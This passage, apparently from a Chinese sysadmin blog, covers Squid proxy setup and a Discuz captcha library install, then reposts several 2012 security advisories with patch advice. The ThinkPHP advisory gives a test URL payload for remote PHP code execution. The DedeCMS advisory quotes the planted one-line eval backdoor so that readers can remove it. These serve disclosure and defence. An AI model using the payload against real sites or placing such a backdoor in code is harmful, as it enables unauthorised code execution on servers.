mkdir /opt/squid/spool chown nobody:nobody /opt/squid/spool mkdir /var/log/squid chown nobody /var/log/squid

初始化 /opt/squid/sbin/squid -z

2011/04/13 17:29:54| Creating Swap Directories

启动 /opt/squid/sbin/squid -s

四,squid常用命令 1,初始化你在 squid.conf 里配置的 cache 目录 #squid/sbin/squid -z 如果有错误提示,请检查你的 cache目录的权限。 2,对你的squid.conf 排错,即验证 squid.conf 的 语法和配置。 #squid/sbin/squid -k parse 如果squid.conf 有语法或配置错误,这里会返回提示你,如果没有返回,恭喜,可以尝试启动squid。 3,在前台启动squid,并输出启动过程。 #squid/sbin/squid -N -d1 如果有到 ready to server reques,恭喜,启动成功。 然后 ctrl + c,停止squid,并以后台运行的方式启动它。 4,启动squid在后台运行。 #squid/sbin/squid -s 这时候可以 ps -A 来查看系统进程,可以看到俩个 squid 进程。 5,停止 squid #squid/sbin/squid -k shutdown 这个不用解释吧。 6,重引导修改过的 squid.conf #squid/sbin/squid -k reconfigure 这个估计用的时候比较多,当你发现你的配置有不尽你意的时候,可以随时修改squid.conf,然后别忘记对你的 squid.conf排错,然后再执行此指令,即可让squid重新按照你的 squid.conf 来运行。 7,把squid添加到系统启动项 编辑 /etc/rc.d/rc.local 添加如下行: echo “65535″>/proc/sys/fs/file-max ulimit -HSn 65535 /opt/squid/sbin/squid -s 当然,并不是每个人都喜欢这种启动方式,你可以用你最习惯的方式;或者把它安装为服务。

#查看运行信息 /opt/squid/bin/squidclient -h 127.0.0.1 -p 3128 mgr:info

#crontab分割日志 20 0 * /opt/squid/sbin/squid -k rotate

五.iptables 添加3128为进入充许,INPUT为链名 iptables -A INPUT -p tcp -m tcp –dport 3128 -j ACCEPT 保存iptables /etc/init.d/iptables save

六.NCSA认证用户 生成用户及密码 htpasswd -c /opt/squid/etc/passwd user_c1g 添加用户 htpasswd /opt/squid/etc/passwd user_andy 修改用户密码可以vi编辑删除后再添加

七.htpasswd获取 htpasswd的获取有点麻烦,可以编译个apache来得到,在bin目录下有这个文件

wget http://apache.etoak.com/httpd/httpd-2.2.22.tar.gz tar zxvf httpd-2.2.22.tar.gz cd httpd-2.2.22 ./configure –preifx=/opt/httpd make make install #移动文件 cp /opt/httpd/bin/htpasswd /opt/squid/libexec/ #删除apache rm -rf /opt/httpd

八.浏览器上配置代理 傲游可以写入用户和密码,支持黑名单 firefox加Foxyproxy标准版,支持黑白名单但不能写入密码 360,ie,chrome相对不够方便点

九.去除验证的透明代理 squid.conf中去掉NCSA认证就是个透明代理

acl auth_user proxy_auth REQUIRED auth_param basic program /opt/squid/libexec/ncsa_auth /opt/squid/etc/passwd http_access allow auth_user

#把deny 改成allow

http_access deny all

参考:squid权威指南

Posted in Squid/varnish.

Tagged with , .


安装discuz启用flash验证码需要的ming库

近日不断有人换ip来暴力猜discuz密码,开启验证码机制可以减少成功率.

让php支持flash需安装ming库 http://www.libming.org/ 当前最新版为ming-0.4.4

一.安装ming

wget http://cdnetworks-kr-1.dl.sourceforge.net/project/ming/Releases/ming-0.4.4.tar.gz tar zxvf ming-0.4.4.tar.gz cd ming-0.4.4 ./configure make make install

二.安装php扩展 进入到php源码目录 /opt/php 为 /opt/php-5.2.17p1 的软链接

cd /home/c1g/src/php-5.2.17/ext/ming /opt/php/bin/phpize Configuring for: PHP Api Version: 20041225 Zend Module Api No: 20060613 Zend Extension Api No: 220060519 ./configure –with-php-config=/opt/php/bin/php-config make make install

查看是否生成ming.so ll /opt/php-5.2.17p1/lib/php/extensions/no-debug-non-zts-20060613/ -rwxr-xr-x 1 root root 367094 Apr 13 13:14 ming.so

三.配置php.ini 在php.ini中指定好扩展的目录和需加载的库 vi /opt/php/etc/php.ini

extension_dir = “/opt/php-5.2.17p1/lib/php/extensions/no-debug-non-zts-20060613/” extension = “ming.so”

重启php /opt/php/sbin/php-fpm reload

在phpinfo中可以看到

Ming SWF output library enabled Version 0.4.4

或用命令行查看 /opt/php/bin/php -m

[PHP Modules] bcmath ctype curl date dom eAccelerator filter gd hash iconv imagick json libxml mbstring mcrypt memcache mhash ming mysql mysqli openssl pcntl pcre PDO pdo_sqlite posix Reflection session shmop SimpleXML soap sockets SPL SQLite standard sysvsem tokenizer xml xmlreader xmlrpc xmlwriter Zend Optimizer zip zlib [Zend Modules] Zend Optimizer eAccelerator

四,discuz设置 discuz后台->全局->防灌水设置 设置开启Flash 验证码 用户->用户组->游客及相关用户组 启用防灌水验证码或验证问答机制 注意:用户权限一定要设置

参考:phpize不重新编译PHP实现扩展的安装

Posted in Discuz/Uchome/Ucenter, PHP.

Tagged with , , .


ThinkPhp web框架 php代码任意执行漏洞

漏洞版本: ThinkPHP 漏洞描述: ThinkPHP是一款国内使用比较广泛的老牌PHP MVC框架,有不少创业公司或者项目都用了这个框架

ThinkPHP不正确过滤用户提交的参数,远程攻击者可以利用漏洞以应用程序上下文执行任意PHP代码

测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! index.php/module/action/param1/${@print(THINK_VERSION)} 安全建议: 用户可下载官方发布的补丁: http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838 或者或者直接修改源码: /trunk/ThinkPHP/Lib/Core/Dispatcher.class.php $res = preg_replace(‘@(w+)’.$depr.'([^’.$depr.’\/]+)@e’, ‘$var[\’\1\’]=”\2″;’, implode($depr,$paths)); 修改为 $res = preg_replace(‘@(w+)’.$depr.'([^’.$depr.’\/]+)@e’, ‘$var[\’\1\’]=”\2′;’, implode($depr,$paths)); 将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。

来自sebug.net

Posted in 安全通告, 技术.

Tagged with , .


Oracle MySQL Server两个不明细节本地漏洞

发布时间: 2012-04-09 漏洞版本: Oracle MySQL 5.x 漏洞描述: MySQL是一个小型关系型数据库管理系统,开发者为瑞典MySQLAB公司,在2008年1月16号被Sun公司收购。

Oracle MySQL在实现上存在两个安全漏洞,可被本地利用造成一定的影响。 < 参考 http://dev.mysql.com/doc/refman/5.5/en/news-5-5-22.html > 安全建议: 厂商补丁:

Oracle

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.oracle.com/technetwork/topics/security/

Posted in Mysql, 安全通告.

Tagged with , .


ImageMagick拒绝服务漏洞

发布时间: 2012-04-09 更新时间: 2012-04-09 危害等级: 中危
漏洞类型:
威胁类型: 远程 CVE编号: CVE-2012-0259

ImageMagick是一款Unix/Linux平台下开源的图像查看和编辑工具。 ImageMagick中存在拒绝服务漏洞,该漏洞源于在解析一个组件计数(components count)为0的JPEG EXIF 标签时“GetEXIFProperty()”函数(magick/property.c)中的一个错误。攻击者可利用该漏洞借助特制的JPEG图片,访问未初始化的或无效的内存。

目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接: http://www.imagemagick.org/discourse-server/viewtopic.php?f=4&t=20629 http://www.cert.fi/en/reports/2012/vulnerability635606.html

来源:www.imagemagick.org 链接:http://www.imagemagick.org/discourse-server/viewtopic.php?f=4&t=20629

来源:www.cert.fi 链接:http://www.cert.fi/en/reports/2012/vulnerability635606.html

来源:seclists.org 链接:http://seclists.org/oss-sec/2012/q2/19

来源:SECUNIA 名称:48679 链接:http://secunia.com/advisories/48679

Posted in Imagemagick, 安全通告.

Tagged with , .


libpng ‘png_set_text_2()’ 内存破坏漏洞

发布时间: 2012-04-01 更新时间: 2012-04-01 危害等级: 高危
漏洞类型:
威胁类型: 远程 CVE编号: CVE-2011-3048

libpng是多种应用程序所使用的解析PNG图形格式的函数库。 Libpng中存在漏洞,此漏洞源于在解析某些文本块时”png_set_text_2()”函数中的错误。攻击者可利用该漏洞借助特制PNG文件损坏栈内存,成功利用该漏洞可能导致执行任意代码。libpng 1.5.10之前版本、1.4.11版本、1.2.49版本和1.0.59版本中存在该漏洞。

目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接: http://www.libpng.org/pub/png/src/libpng-1.5.10-README.txt

来源:www.libpng.org 链接:http://www.libpng.org/pub/png/src/libpng-1.5.10-README.txt

来源:SECUNIA 名称:48587 链接:http://secunia.com/advisories/48587

Posted in 安全通告.

Tagged with , .


phpMyAdmin敏感信息泄露漏洞

phpMyAdmin是一个免费的WWW界面的mysql数据库管理工具。 phpMyAdmin 3.4.10.2之前的3.4.x版本中的show_config_errors.php中存在漏洞。当配置文件不存在时,远程攻击者可借助一个直接请求获取敏感信息(泄露关于丢失文件的安装路径的错误消息)。

Lempelf用的是phpMyAdmin 3.4.10.1 注意要升级了

目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接: http://www.mandriva.com/en/downloads/

来源: github.com 链接:https://github.com/phpmyadmin/phpmyadmin/commit/c51817d3b8cb05ff54dca9373c0667e29b8498d4

来源: www.phpmyadmin.net 链接:http://www.phpmyadmin.net/home_page/security/PMASA-2012-2.php

Posted in 安全通告.

Tagged with , .


织梦(DedeCMS)后门远程代码执行漏洞

DEDECMS是织梦内容管理系统,国内一款基于PHP+MySQL的技术开发的,支持多种服务器平台的PHP网站内容管理系统。

DedeCMS某些版本/include/shopcar.class.php文件中,被添加后门代码,远程未验证的攻击者利用该后门可以执行任意命令。 DedeCMS V5.7 SP1正式版

UTF-8 GBK版本疑似被植入一句话后门 shopcar.class.php被植入一句话@eval(file_get_contents(‘php://input’));

临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

*直接找到站点include目录下shopcar.class.php文件,去掉里面的代码 @eval(file_get_contents(‘php://input’));即可。

http://www.wooyun.org/bugs/wooyun-2010-05416

Posted in 安全通告.

Tagged with , .